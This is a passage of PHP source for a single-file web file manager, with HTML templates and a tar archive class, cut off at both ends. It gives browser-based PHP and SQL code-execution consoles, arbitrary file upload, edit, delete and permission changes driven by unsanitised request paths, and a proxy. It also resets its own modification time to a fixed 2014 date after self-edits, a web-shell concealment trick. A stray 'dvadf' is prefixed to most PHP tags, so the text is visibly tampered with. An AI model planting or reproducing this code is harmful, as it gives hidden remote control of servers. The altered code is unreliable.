3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
